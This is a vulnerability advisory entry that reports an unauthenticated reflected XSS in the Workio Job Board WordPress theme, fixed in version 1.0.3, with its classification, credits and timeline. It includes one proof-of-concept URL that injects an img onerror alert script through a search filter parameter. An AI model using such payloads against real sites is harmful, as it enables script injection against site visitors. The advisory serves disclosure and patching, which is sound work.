Themes Vulnerabilities

Workio – Job Board < 1.0.3 - Unauthenticated Reflected XSS

Description

Unauthenticated Reflected XSS vulnerability was discovered in the «Workio – Job Board WordPress Theme», tested version — v1.0.1.

Proof of Concept

https://www.demoapus-wp1.com/workio/jobs-grid-v1/?filter-title=%22%3E%3Cimg%20src=x%20onerror=alert(`XSS`)%3E

Affects Themes

workio
Fixed in 1.0.3

References

URL
https://themeforest.net/item/workio-job-board-wordpress-theme/26699370
URL
https://github.com/vladvector/vladvector.github.io/blob/master/exploit/2020-06-17-workio-job-board-wordpress-theme-1-0-1.txt

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.1 (medium)

Miscellaneous

Original Researcher
Vlad Vector
Submitter
VLΛD VΞCTOR
Submitter website
https://vladvector.ru
Submitter twitter
vlad_vector
Verified
Yes
WPVDB ID
4eb03d58-21af-45db-8147-6fe238e19023

Timeline

Publicly Published
2020-07-13 (about 3 years ago)
Added
2020-07-13 (about 3 years ago)
Last Updated
2020-07-14 (about 3 years ago)

Other

Published
Title
Published
2021-11-15
Title
Auto Featured Image < 3.9.3 - Reflected Cross-Site Scripting
Published
2014-08-01
Title
WordPress 1.5 template-functions-post.php Multiple Field XSS
Published
2023-11-06
Title
Simple Like Page Plugin < 1.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
Published
2021-10-20
Title
BetterLinks < 1.2.6 - Admin+ Stored Cross-Site Scripting
Published
2023-11-07
Title
Q2W3 Post Order <= 1.2.8 - Reflected Cross-Site Scripting